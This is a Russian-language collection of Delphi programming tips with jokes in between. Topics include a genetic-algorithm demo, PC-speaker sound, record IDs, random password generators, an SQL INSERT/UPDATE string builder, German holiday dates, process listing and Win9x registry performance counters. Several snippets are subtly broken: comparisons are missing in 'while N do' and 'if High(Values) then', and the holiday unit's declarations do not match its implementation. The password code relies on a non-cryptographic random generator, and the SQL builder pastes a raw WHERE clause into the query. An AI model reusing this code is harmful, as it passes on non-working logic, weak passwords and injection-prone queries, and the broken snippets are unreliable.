FGene.MaxPopulation := 10000;
FGene.MinPopulation := 5000;
FGene.OnEstimate := GeneEstimate;
for I := 0 to 4 do
begin
FGene.LowValues[I] := 0;
FGene.HighValues[I] := 10;
end;
FGene.Run;
Timer1.Enabled := True;
end;
procedure TForm1.GeneEstimate(Sender: TObject; const X: TExtendedArray;
var Y: Extended);
var
I: Integer;
begin
Y := 0;
for I := Low(X) to High(X) do
Y := Y + Sqr(X[I] - I);
Y := -Y;
end;
procedure TForm1.Button7Click(Sender: TObject);
var
I: Integer;
begin
Timer1.Enabled := False;
Label1.Caption := '';
FGene.Suspend;
Grid.RowCount := FGene.DimCount + 1;
for I := 0 to FGene.DimCount - 1 do
Grid.Cells[0, I + 1] := FloattoStr(FGene.BestX[I]);
FGene.Abort;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
Label1.Caption := FloatToStr(FGene.BestEstimate);
end;
end.
Генерация звукого сигнала на встроенном динамике.
procedure Sound(Frequency, Duration: Integer); asm push edx push eax mov eax, Win32Platform cmp eax, VER_PLATFORM_WIN32_NT jne @@9X call Windows.Beep ret @@9X: pop eax pop edx push ebx push edx mov bx, ax mov ax, 34DDh mov dx, 0012h cmp dx, bx jnc @@2 div bx mov bx, ax in al, 61h test al, 3 jnz @@1 or al, 3 out 61h, al mov al, 0B6h out 43h, al @@1: mov al, bl out 42h, al mov al, bh out 42h, al call Windows.Sleep in al, 61h and al, 0FCh out 61h, al jmp @@3 @@2: pop edx @@3: pop ebx end; |
Создание уникального ID для новой записи.
| Американская школа для одаренных детей, 1970 год, урок информатики... - А теперь, детки, какие програмки вы бы хотели написать, когда подрастете? Вот ты, Питер? - Я бы написал такую крутую утилитку, которая бы быстро так лечила бы винчестер от ошибок! - Молодец, Питер! А ты, Юджин? - А я бы сделал такую программу, которая бы быстро и без глюков сжимала файлы! - Умница, Юджин! А ты, Билли, чего молчишь? - Ну, ничего-ничего!... Будет вам всем быстро, будет вам без глюков... |
Table Name A (первичный ключ) Last Id NВ методе BeforePost таблицы, которой необходим уникальный ID, делайте примерно так:
TableBeforePost(Sender: TObject)
var
Id: Integer;
begin
with TTable(Sender) do
begin
{проверяем, существует ли ID для этой записи}
if Field[0].AsInteger = 0 then
begin
{ищем имя таблицы в ID-Таблице}
IDTable.FindKey[Name]
{извлекаем последний Id - подразумеваем блокировку записи}
Id := IDTable.FieldByName['Last Id'].AsInteger;
Inc(Id);
{записываем новый Id в ID-таблицу - подразумеваем разблокировку таблицы}
IDTable.FieldByName['Last Id'].AsInteger := Id;
IDTable.Post;
{записываем извлеченный ID в вашу таблицу}
Field[0].AsInteger := Id;
end;
end;
end;
|
Используйте те же принципы, что и в предыдущем способе, но вместо ID-таблицы используется ID-Файл. Это дает преимущество за счет более высокой скорости работы, но в многопользовательской среде вы должны сами заботиться о блокировке записей.
Генерация случайного пароля.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
function RandomPassword(PLen: Integer): string;
var
str: string;
begin
Randomize;
//string with all possible chars
str := 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
Result := '';
repeat
Result := Result + str[Random(Length(str)) + 1];
until (Length(Result) = PLen)
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
//generate a password with 10 chars
label1.Caption := RandomPassword(10);
end;
// Another function from ReNoiZer /=RNZ=/; renoizer@mail.ru
function RandomWord(dictSize, lngStepSize, wordLen, minWordLen: Integer): string;
begin
Result := '';
if (wordLen < minWordLen) and (minWordLen > 0) then
wordLen := minWordLen
else if (wordLen < 1) and (minWordLen < 1) then wordLen := 1;
repeat
Result := Result + Chr(Random(dictSize) + lngStepSize);
until (Length(Result) = wordLen);
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
//generate a password with 10 chars
Caption := RandomWord(33, 54, Random(12), 2);
end;
Как сгенерировать случайный пароль.
| Автор: Kurt Mueller |
| Чем хакер отличается от юзера? Хакер подбирает пароль с третьего раза, а юзер набирает с пятого. |
Вам понадобилось, чтобы Ваше приложение само создавало пароли ? Возможно данный способ Вам пригодится. Всё очень просто: пароль создаётся из символов, выбираемых случайным образом из таблицы.
Пароль создаётся из символов, содержащихся в таблице.
Внимание: Длина пароля должна быть меньше, чем длина таблицы!
Запускаем генератор случайных чисел (только при старте приложения).
procedure TForm1.FormCreate(Sender: TObject); begin Randomize; end; |
Описываем функцию:
function RandomPwd(PWLen: integer): string;
// таблица символов, используемых в пароле
const StrTable: string =
'!#$%&/()=?@<>|{[]}\*~+#;:.-_' +
'ABCDEFGHIJKLMabcdefghijklm' +
'0123456789' +
'ДЦЬдцьЯ' +
'NOPQRSTUVWXYZnopqrstuvwxyz';
var
N, K, X, Y: integer;
begin
// проверяем максимальную длину пароля
if (PWlen > Length(StrTable)) then
K := Length(StrTable)-1
else
K := PWLen;
SetLength(result, K); // устанавливаем длину конечной строки
Y := Length(StrTable); // Длина Таблицы для внутреннего цикла
N := 0; // начальное значение цикла
while N do // цикл для создания K символов
begin
X := Random(Y) + 1; // берём следующий случайный символ
// проверяем присутствие этого символа в конечной строке
if (pos(StrTable[X], result) = 0) then
begin
inc(N); // символ не найден
Result[N] := StrTable[X]; // теперь его сохраняем
end;
end;
end;
|
Ну и обработчик нажатия кнопки будет выглядеть так:
procedure TForm1.Button1Click(Sender: TObject); var cPwd: string; begin // вызываем функцию генерации пароля из 30 символов cPwd := RandomPwd(30); // ... end; |
Генератор SQL-запросов Insert, Update.
| Приходит один программист к другому: - Слышь, Петя, мне генератор случайных чисел нужен. - Четырнадцать! |
Вам ещё не надоело динамически генерировать SQL запросы insert и update ? Давайте посмотрим, как можно раз и навсегда упростить этот процесс.
Допустим Вы создавали запрос следующим образом (типы параметров Data1:string Data2: integer Data3:TdateTime).
SqlCmd := 'insert into MyTable (Field1,Field2,Field2) values (' +
QuotedStr(Data1) + ',' + IntToStr(Data2) + ',' + 'to_date(' +
QuotedStr(FormatdateTime('dd/mm/yyyy',Data3)) + ',' +
QuotedStr('dd/mm/yyyy') + '))';
{Ужасно! ещё хуже, когда количество колонок увеличивается}
|
А если сделать функцию типа:
SqlCmd := SqlInsert([Data1, Data2, Variant(Data3)], 'MyTable', ['Field1','Field2','Field3']); |
Она эмулирует строку запроса наподобие:
insert into MyTable(Fields1, Field2, Field3)
values ('Sweets', 934, to_date('21/05/2001', 'dd/mm/yyyy'))
|
Неправда ли она более проста в использовании ?
Здесь представлены функции SqlInsert и SqlUpdate. Вы наверное заметили, что я передаю TDateTime приведённый как Variant. Причина кроется в том, что VType в array of const не имеете TDateTime типа и даты просто представлены как vtExtended.
Функция SqlInsert имеет 2 переопределённых вызова, которые позволяют Вам включить или выполнить массив имён колонок.
Посмотрим, как выглядят эти функции:
interface
const
// Возврат и перевод каретки
CrLf = #13#10;
// Прототипы функций
function SqlInsert(Values : array of const;
TableName : string; ColNames : array of string) : string; overload;
function SqlInsert(Values : array of const;
TableName : string) : string; overload;
function SqlUpdate(Values : array of const; TableName : string;
ColNames : array of string; WhereClause : string) : string;
implementation
// Помещаем TDateTime в Values (array of const)
// Представлен как Variant
function SqlInsert(Values : array of const;
TableName : string; ColNames : array of string) : string;
var
RetVar : string;
i : integer;
begin
RetVar := 'insert into ' + TableName + CrLf + '(' + ColNames[0];
for i := 1 to High(ColNames) do
RetVar := RetVar + ',' + ColNames[i];
RetVar := RetVar + ')' + CrLf;
RetVar := RetVar + 'values (';
for i := 0 to High(Values) do
begin
case Values[i].VType of
vtInteger, vtInt64 :
RetVar := RetVar + IntToStr(Values[i].VInteger);
vtChar :
RetVar := RetVar + QuotedStr(Values[i].VChar);
vtString :
RetVar := RetVar + QuotedStr(Values[i].VString^);
vtPChar :
RetVar := RetVar + QuotedStr(Values[i].VPChar);
vtExtended :
RetVar := RetVar + FloatToStr(Values[i].VExtended^);
vtAnsiString :
RetVar := RetVar + QuotedStr(string(Values[i].VAnsiString));
// TDateTime - иначе получаем как vtExtended
vtVariant :
RetVar := RetVar + 'to_date(' + QuotedStr(FormatdateTime('dd/mm/yyyy',
TDateTime(Values[i].VVariant^))) + ',' + QuotedStr('dd/mm/yyyy') + ')';
else
RetVar := RetVar + '??????';
end;
RetVar := RetVar + ',';
end;
Delete(RetVar,length(RetVar),1);
RetVar := RetVar + ')';
if High(Values) then
ShowMessage('SQL Insert - Not enough values.');
if High(Values) > High(ColNames) then
ShowMessage('SQL Insert - Too many values.');
Result := RetVar;
end;
function SqlInsert(Values : array of const;
TableName : string) : string; overload;
var
RetVar : string;
i : integer;
begin
RetVar := 'insert into ' + TableName + CrLf;
RetVar := RetVar + 'values (';
for i := 0 to High(Values) do
begin
case Values[i].VType of
vtInteger, vtInt64 :
RetVar := RetVar + IntToStr(Values[i].VInteger);
vtChar :
RetVar := RetVar + QuotedStr(Values[i].VChar);
vtString :
RetVar := RetVar + QuotedStr(Values[i].VString^);
vtPChar :
RetVar := RetVar + QuotedStr(Values[i].VPChar);
vtExtended :
RetVar := RetVar + FloatToStr(Values[i].VExtended^);
vtAnsiString :
RetVar := RetVar + QuotedStr(string(Values[i].VAnsiString));
// TDateTime - иначе получаем как vtExtended
vtVariant :
RetVar := RetVar + 'to_date(' + QuotedStr(FormatdateTime('dd/mm/yyyy',
TDateTime(Values[i].VVariant^))) + ',' + QuotedStr('dd/mm/yyyy') + ')';
else
RetVar := RetVar + '??????';
end;
RetVar := RetVar + ',';
end;
Delete(RetVar,length(RetVar),1);
RetVar := RetVar + ')';
Result := RetVar;
end;
function SqlUpdate(Values : array of const; TableName : string;
ColNames : array of string; WhereClause : string) : string;
var
RetVar, Parm : string;
i : integer;
begin
RetVar := 'update ' + TableName + ' set' + CrLf;
for i := 0 to Min(High(Values),High(ColNames)) do
begin
case Values[i].VType of
vtInteger, vtInt64 :
Parm := IntToStr(Values[i].VInteger);
vtChar :
Parm := QuotedStr(Values[i].VChar);
vtString :
Parm := QuotedStr(Values[i].VString^);
vtPChar :
Parm := QuotedStr(Values[i].VPChar);
vtExtended :
Parm := FloatToStr(Values[i].VExtended^);
vtAnsiString :
Parm := QuotedStr(string(Values[i].VAnsiString));
// TDateTime - иначе получаем как vtExtended
vtVariant : Parm := 'to_date(' + QuotedStr(FormatdateTime('dd/mm/yyyy',
TDateTime(Values[i].VVariant^))) + ',' + QuotedStr('dd/mm/yyyy') + ')';
else
Parm := '??????';
end;
RetVar := RetVar + ColNames[i] + '=' + Parm + ',';
end;
Delete(RetVar,length(RetVar),1);
RetVar := RetVar + CrLf + 'where ' + WhereClause;
if High(Values) then
ShowMessage('SQL Update - Not enough values.');
if High(Values) > High(ColNames) then
ShowMessage('SQL Update - Too many values.');
Result := RetVar;
end;
|
Гипергеометрическое распределение.
Автор: Алексей Перов WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Гипергеометрическое распределение
Возвращает случайное число, распределенное по гипергеометрическому закону
распределения
Зависимости: system
Автор: Алексей Перов, aperov@rambler.ru, ICQ:102661702, Караганда
Copyright: Лабораторные работы по курсу "Моделирование информационных систем", КарГТУ
Дата: 26 апреля 2002 г.
***************************************************** }
function RandomGipgeo(tn, ns, p: Extended): Extended;
{ гипергеометрическое распределение }
var
x, s: Extended;
i: Integer;
begin
x := 0;
for i := 1 to Round(ns) do
begin
if Random - p <= 0 then
begin
s := 1;
x := x + 1
end
else
s := 0;
p := (tn * p - s) / (tn - 1)
end;
Result := x
end;
Пример использования:
x := RandomGipgeo(2.5, 3, 0.4);
Вычисление немецких праздников.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
unit Feiertage;
// Unit Holidays;
interface
uses
Windows, SysUtils;
// Declare a structure to hold the Information
// Deklarieren der Struktur, um die Feiertage abzuspeichern
type
THoliday = record
Date: TDateTime;
Name: string;
end;
THolidayTable = array of THoliday;
// Function to call to get the Holiday Table with all Holidays of a year
// Der Funktionsaufruf, um die Feiertage eines Jahres abzufragen
function GetHolidayTable(Year: Word): THolidayTable;
implementation
function TUrlaubsForm.GetHolidayTable(Year: Word): THolidayTable;
// Function to add a holiday by Day and Month
// Funktion, um einen Feiertag uber seinen Tag\Monat hinzuzufugen
procedure AddHoliday(DD, MM: Word; HDName: string); overload;
begin
SetLength(Result, High(Result) + 2);
with Result[High(Result)] do
begin
Date := EncodeDate(Year, MM, DD);
Name := HDName;
end;
end;
//Function to add holiday by date serial
//Funktion, um den Feiertag uber die Datumsseriennummer hinzuzufugen
procedure AddHoliday(HDDate: TDateTime; HDName: string); overload;
begin
SetLength(Result, High(Result) + 2);
with Result[High(Result)] do
begin
Date := HDDate;
Name := HDName;
end;
end;
// Function to get easter sunday
// Function zur Berechnung des Ostersonntags
function GetEasterDate(YYYY: Word): TDateTime;
var
A, B, C, D, E, F, G, H, I, K, L, M, N, P: Word;
DD, MM: Word;
begin
a := YYYY mod 19;
b := YYYY div 100;
c := YYYY mod 100;
d := b div 4;
e := b mod 4;
f := (b + 8) div 25;
g := (b - f + 1) div 3;
h := (19 * a + b - d - g + 15) mod 30;
i := c div 4;
k := c mod 4;
l := (32 + 2 * e + 2 * i - h - k) mod 7;
m := (a + 11 * h + 22 * l) div 451;
n := (h + l - 7 * m + 114) div 31;
p := (h + l - 7 * m + 114) mod 31 + 1;
DD := p;
MM := n;
Result := EncodeDate(YYYY, MM, DD);
end;
var
EDate: TDateTime;
begin
// Add fixed holidays
// Hinzufugen der festen Feiertage
AddHoliday(1, 1, 'Neujahr');
AddHoliday(1, 5, 'Tag der Arbeit');
AddHoliday(3, 10, 'Tag der deutschen Einheit');
AddHoliday(31, 10, 'Reformationstag');
// AddHoliday(24, 12, 'Heiligabend');
AddHoliday(25, 12, '1. Weihnachtsfeiertag');
AddHoliday(26, 12, '2. Weihnachtsfeiertag');
// AddHoliday(31, 12, 'Silvester');
// Add holidays relative to easter sunday
// Hinzufugen der Feiertage, die von Ostern abhangen
EDate := GetEasterDate(Year);
AddHoliday(EDate, 'Ostersonntag');
AddHoliday(EDate - 2, 'Karfreitag');
AddHoliday(EDate + 1, 'Ostermontag');
AddHoliday(EDate + 39, 'Christi Himmelfahrt');
AddHoliday(EDate + 49, 'Pfingstsonntag');
AddHoliday(EDate + 50, 'Pfingstmontag');
// Gets 3rd Wednesday in November
// Ermittelt den 3. Mitwoch im November
EDate := EncodeDate(Year, 11, 1);
EDate := EDate + ((11 - DayOfWeek(EDate)) mod 7) + 14;
AddHoliday(EDate, 'Bu?- und Bettag');
end;
end.
// This Units works since the year 1584
// Diese Unit arbeitet mit Jahreszahlen nach 1584
Узнать существущие имена таблиц БД Access.
procedure.... var x: TStrings; begin x:=TstringList.Create; ADOConnection.GetTableNames(x, false или true) // <- почитай Help операции с x... x.Free; end; |
Получить список запущенных приложений, проверить запущена ли программа.
| Что думают о русских программистах их западные коллеги. 1. Русские программисты никогда не читают руководств и редко пользуются online подсказкой - они легко понимают новые программы, потому как ранее уже испробовали все программы подобного рода. 2. Русские прграммисты никогда не платят за софт. Они или крэкают его, или покупают wonderful CD за 5 баксов с кучей софта. В любом крупном городе России. 3. Русские программисты всегда используют самые последние разработки в программном обеспечении - самые последние версии лучших программ - потому как не надо за них платить. 4. Русские программисты очень любят поэкспериментировать с железом. Они разберут Ваш компьютер и соберут его обратно в течение нескольких минут. Они помнят установки джамперов на большинстве материнских плат, винтах и других устройствах. Они никогда не забывают какие прерывания и адреса памяти используются в настоящее время в их компьютере. 5. Русские программисты апгрейдят свой компьютер до тех пор, пока не останется никаких свободных прерываний, места для добавочной памяти или не останется ни одного свободного слота. Если они не могут апгрейдить дальше свой компьютер, они покупают еще один и соединяют оба сеткой. 6. Русские программисты программируют на всех уровнях, и на процессорных кодах тоже, таблицы которых y них всегда находятся на рабочем столе. Они помнят назубок список функций прерывания 21h. 7. Русские программисты помнят всю раскладку английской и русской клавиатуры. Вы можете спросить посреди ночи, какая клавиша находится между А и L, и будете удивлены ответом: "Какую из семи назвать?" 8. Русские программисты ненавидят Майкрософт и Майкрософтовские программы, но используют их. 9. Русские программисты предпочитают Borland, а Microsoft компиляторы инсталлируют только из-за того, что в них хороший help для Windows API. 10. Русские программисты в Интернете чувствуют себя очень комфортно. Они предпочитают всегда быть online, хотя бы потому, что может срочно что-то понадобиться. 11. Русские программисты всегда в настроении программировать. 12. Есть два вида Русских программистов - первые ненавидят Windows и программируют под Unix, вторые ненавидят Windows и программируют под них. Макинтошевские программисты - не настоящие программисты - им больше подходит название - "юзеры". 13. Русские прграммисты не любят "кодировать" чью-то другую идею. Каждая программа пишется персонально. 14. Русские программисты всегда имеют копии Doom, Duke Nukem и Quake на их жестком диске. Они могут играть ночи напролет по сетке в Deathmath. 15. Русские прграммисты никогда не используют джойстик. Клавиатура - вот главное оружие. 16. Русские программисты никогда не сдаются. Они могут вылавливать баги из их программы, забыв о сне и еде. 17. Жены Русских программистов несчастны, потому как им не уделяется внимания, пока в доме есть хоть один компьютер. 18. Русским программистам недоплачивают. Но и не существует суммы в мире, способной успокоить их желания. 19. Начальники не любят Русских прграммистов. А кто любит умника, который все знает? 20. Русские программисты не любят использовать шаблоны. Их программы - это индивидуально написанные произведения с большой долей импровизации. Причем, Русский прогаммист старается во всю, чтобы побыстрее запустить программу и увидеть ее в работе. |
uses
Psapi, tlhelp32;
procedure CreateWin9xProcessList(List: TstringList);
var
hSnapShot: THandle;
ProcInfo: TProcessEntry32;
begin
if List = nil then Exit;
hSnapShot := CreateToolHelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapShot <> THandle(-1)) then
begin
ProcInfo.dwSize := SizeOf(ProcInfo);
if (Process32First(hSnapshot, ProcInfo)) then
begin
List.Add(ProcInfo.szExeFile);
while (Process32Next(hSnapShot, ProcInfo)) do
List.Add(ProcInfo.szExeFile);
end;
CloseHandle(hSnapShot);
end;
end;
procedure CreateWinNTProcessList(List: TstringList);
var
PIDArray: array [0..1023] of DWORD;
cb: DWORD;
I: Integer;
ProcCount: Integer;
hMod: HMODULE;
hProcess: THandle;
ModuleName: array [0..300] of Char;
begin
if List = nil then Exit;
EnumProcesses(@PIDArray, SizeOf(PIDArray), cb);
ProcCount := cb div SizeOf(DWORD);
for I := 0 to ProcCount - 1 do
begin
hProcess := OpenProcess(PROCESS_QUERY_INFORMATION or
PROCESS_VM_READ,
False,
PIDArray[I]);
if (hProcess <> 0) then
begin
EnumProcessModules(hProcess, @hMod, SizeOf(hMod), cb);
GetModuleFilenameEx(hProcess, hMod, ModuleName, SizeOf(ModuleName));
List.Add(ModuleName);
CloseHandle(hProcess);
end;
end;
end;
procedure GetProcessList(var List: TstringList);
var
ovi: TOSVersionInfo;
begin
if List = nil then Exit;
ovi.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
GetVersionEx(ovi);
case ovi.dwPlatformId of
VER_PLATFORM_WIN32_WINDOWS: CreateWin9xProcessList(List);
VER_PLATFORM_WIN32_NT: CreateWinNTProcessList(List);
end
end;
function EXE_Running(FileName: string; bFullpath: Boolean): Boolean;
var
i: Integer;
MyProcList: TstringList;
begin
MyProcList := TStringList.Create;
try
GetProcessList(MyProcList);
Result := False;
if MyProcList = nil then Exit;
for i := 0 to MyProcList.Count - 1 do
begin
if not bFullpath then
begin
if CompareText(ExtractFileName(MyProcList.Strings[i]), FileName) = 0 then
Result := True
end
else if CompareText(MyProcList.strings[i], FileName) = 0 then Result := True;
if Result then Break;
end;
finally
MyProcList.Free;
end;
end;
// Example 1: Is a Exe-File running ?
procedure TForm1.Button1Click(Sender: TObject);
begin
if EXE_Running('Notepad.exe', False) then
ShowMessage('EXE is running')
else
ShowMessage('EXE is not running');
end;
// Example 2: List running Exe-Files
procedure TForm1.Button3Click(Sender: TObject);
var
i: Integer;
MyProcList: TstringList;
begin
MyProcList := TStringList.Create;
try
GetProcessList(MyProcList);
if MyProcList = nil then Exit;
for i := 0 to MyProcList.Count - 1 do
ListBox1.Items.Add(MyProcList.Strings[i]);
finally
MyProcList.Free;
end;
end;
|
Определение активного подключения.
Автор: Ajax WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Определение активного подключения
Возвращает название активного интернет-соединения
Зависимости: RAS
Автор: Ajax, ajax@mail.kz
Copyright: Ajax
Дата: 27 мая 2002 г.
***************************************************** }
function CheckRASConnections: string;
const
MaxEntries = 100;
var
BufSize: Integer;
NumEntries: Integer;
Entries: array[1..MaxEntries] of TRasConn;
begin
Entries[1].dwSize := SizeOf(TRasConn);
Bufsize := SizeOf(TRasConn) * MaxEntries;
RasEnumConnections(@Entries[1], BufSize, NumEntries);
if numentries > 0 then
result := strpas(@Entries[1].szEntryName)
else
Result := 'Disconnected';
end;
Пример использования:
ShowMessage(CheckRASConnections);
Как узнать, какой язык активен в Windows.
| Программиста спрашивают: - Как вам удалось так быстро выучить английский язык?!! - Да, ерунда какая. Они там почти все слова из Delphi взяли. |
function WhichLanguage:string; var ID: LangID; Language: array [0..100] of char; begin ID := GetSystemDefaultLangID; VerLanguageName(ID, Language, 100); Result := string(Language); end; ... procedure TForm1.Button1Click(Sender: TObject); begin Edit1.Text := WhichLanguage; end; |
Ошибка EOLESYS..OPERATION UNAVAILABLE (операция недоступна) при использовании GETACTIVEOLEOBJECT.
| - Надо снять порчу с компьютера, - сказала цыганка, запустив DrWeb. |
Это происходит при использовании сервера автоматизации Delphi, или когда сервер автоматизации (например, word.basic) не запущен.
procedure TForm1.Button1Click(Sender: TObject);
var
V: OleVariant;
begin
V := GetActiveOleObject('Word.Basic');
V.FileNew;
V.Insert('тест');
end;
|
GetActiveOleObject определен в ComObj.pas. Он преобразует имя класса в guid и передает его при вызове Windows api функции GetActiveObject.
function GetActiveOleObject(const ClassName: string): IDispatch; var ClassID: TCLSID; Unknown: IUnknown; begin ClassID := ProgIDToClassID(ClassName); OleCheck(GetActiveObject(ClassID, nil, Unknown)); OleCheck(Unknown.QueryInterface(IDispatch, Result)); end; |
GetActiveOleObject использует интерфейс с именем IRunningObjectTable. Мы не регистрируем это автоматически в таблице, поэтому, чтобы воспользоваться его функциональным назначением, вы должны получить этот интерфейс и использовать его методы для регистрации.
Получаем из реестра количество активных потоков, загруженность процессора и т.д.
| Автор: Vimil Saju |
| Я выбросил из окна два компа - 386 и 486. В самом деле, 486 был быстрее... |
В реестре есть раздел HKEY_DYN_DATA. Основная информация о системе хранится в ключе PerfStats.
О получении информации,например, о загруженности процессора, необходимо проделать следующие шаги:
Для начала необходимо запустить установленный счётчик в реестре. Это возможно путём считывания значения ключа, отвечающего за нужный параметр системы.
Например.
Просто считываем значение ключа 'PerfStats\StartStat\KERNEL\CPUusage' в секции HKEY_DYN_DATA. данное действие запускает счётчик. После этого в ключе 'PerfStats\StatData\KERNEL\CPUusage' будет храниться значение в процентах о загруженности процессора.
Далее, если добавить считывание загруженности процессора в событие On timer, то мы сможем наблюдать изменение загруженности процессора в динамике.
По завершении, Ваша программа должна остановить счётчик в реестре. Для этого просто считай ключ 'PerfStats\StopStat\KERNEL\CPUusage'.Это остановит счётчик.
Так же в системе есть много других счётчиков. Весь список счётчиков можно посмотреть в ключе PerfStats\StatData, используя редактор реестра.
Представленный ниже исходник получает значения всех счётчиков, расположенных в секции HKEY_DYN_DATA.
unit SystemInfo;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
Dialogs,extctrls;
//Информация о Dialup адаптере
type TDialupAdapterInfo = record
alignment:dword;
buffer:dword;
bytesrecieved:dword;
bytesXmit:dword;
ConnectSpeed:dword;
CRC:dword;
framesrecieved:dword;
FramesXmit:dword;
Framing:dword;
runts:dword;
Overrun:dword;
timeout:dword;
totalbytesrecieved:dword;
totalbytesXmit:dword;
end;
type TKernelInfo = record
CpuUsagePcnt:dword;
Numthreads:dword;
NumVMS:dword;
end;
type TVCACHEInfo = record
ccurpages:dword;
cMacPages:dword;
cminpages:dword;
FailedRecycles:dword;
Hits:dword;
LRUBuffers:dword;
LRURecycles:dword;
Misses:dword;
RandomRecycles:dword;
end;
type TFATInfo = record
BreadsSec:dword;
BwritesSec:dword;
Dirtydata:dword;
ReadsSec:dword;
WritesSec:dword;
end;
type TVMMInfo = record
CDiscards:dword;
CInstancefaults:dword;
CPageFaults:dword;
cPageIns:dword;
cPageOuts:dword;
cpgCommit:dword;
cpgDiskCache:dword;
cpgDiskCacheMac:dword;
cpgDiskCacheMid:dword;
cpgDiskCacheMin:dword;
cpgfree:dword;
cpglocked:dword;
cpglockedNoncache:dword;
cpgother:dword;
cpgsharedpages:dword;
cpgswap:dword;
cpgswapfile:dword;
cpgswapfiledefective:dword;
cpgswapfileinuse:dword;
end;
type
TSysInfo = class(TComponent)
private
fDialupAdapterInfo:TDialupAdapterInfo;
fKernelInfo:TKernelInfo;
fVCACHEInfo:TVCACHEInfo;
fFATInfo:TFATInfo;
fVMMInfo:TVMMInfo;
ftimer:TTimer;
fupdateinterval:integer;
tmp:dword;
vsize:dword;
pkey:hkey;
regtype:pdword;
fstopped:boolean;
procedure fupdatinginfo(sender:tobject);
procedure fsetupdateinterval(aupdateinterval:integer);
protected
fsysInfoChanged:TNotifyEvent;
public
constructor Create(Aowner:Tcomponent);override;
destructor Destroy;override;
property DialupAdapterInfo: TDialupAdapterInfo read fDialupAdapterInfo;
property KernelInfo: TKernelInfo read fKernelInfo;
property VCACHEInfo: TVCACHEInfo read fVCACHEInfo;
property FATInfo: TFATInfo read fFATInfo;
property VMMInfo: TVMMInfo read fVMMInfo;
procedure StartRecievingInfo;
procedure StopRecievingInfo;
published
property SysInfoChanged:TNotifyEvent read fsysInfoChanged write
fsysInfoChanged;//Это событие вызывается после определённого интервала времени.
property UpdateInterval:integer read fupdateInterval write
fsetupdateinterval default 5000;
end;
procedure register;
implementation
constructor TSysInfo.Create(Aowner:Tcomponent);
begin
inherited;
ftimer:=ttimer.Create(self);
ftimer.enabled:=false;
ftimer.OnTimer:=fupdatinginfo;
vsize:=4;
fstopped:=true;
end;
procedure TSysInfo.startrecievingInfo;
var
res:integer;
begin
res:=RegOpenKeyEx(HKEY_DYN_DATA, 'PerfStats\StartStat',0,KEY_ALL_ACCESS,pkey);
if res<>0 then
raise exception.Create('Could not open registry key');
fstopped:=false;
// Для Dial Up Адаптера
RegQueryValueEx(pkey,'Dial-Up Adapter\Alignment',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\Buffer',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\Framing',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\Overrun ',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\Timeout',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\CRC',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\Runts',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\FramesXmit',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\FramesRecvd',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\BytesXmit',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\BytesRecvd',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\TotalBytesXmit',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\TotalBytesRecvd',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\ConnectSpeed',nil,regtype,@tmp,@vsize);
// Для VCACHE
RegQueryValueEx(pkey,'VCACHE\LRUBuffers',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VCACHE\FailedRecycles',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VCACHE\RandomRecycles',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VCACHE\LRURecycles',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VCACHE\Misses',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VCACHE\Hits',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VCACHE\cMacPages',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VCACHE\cMinPages',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VCACHE\cCurPages',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\BytesXmit',nil,regtype,@tmp,@vsize);
//Для VFAT
RegQueryValueEx(pkey,'VFAT\DirtyData',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VFAT\BReadsSec',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VFAT\BWritesSec',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VFAT\ReadsSec',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VFAT\WritesSec',nil,regtype,@tmp,@vsize);
//Для VMM
RegQueryValueEx(pkey,'VMM\cpgLockedNoncache',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VMM\cpgCommit',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VMM\cpgSharedPages',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VMM\cpgDiskcacheMid',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VMM\cpgDiskcacheMac',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VMM\cpgDiskcacheMin',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VMM\cpgDiskcache',nil,regtype,@tmp,@vsize);
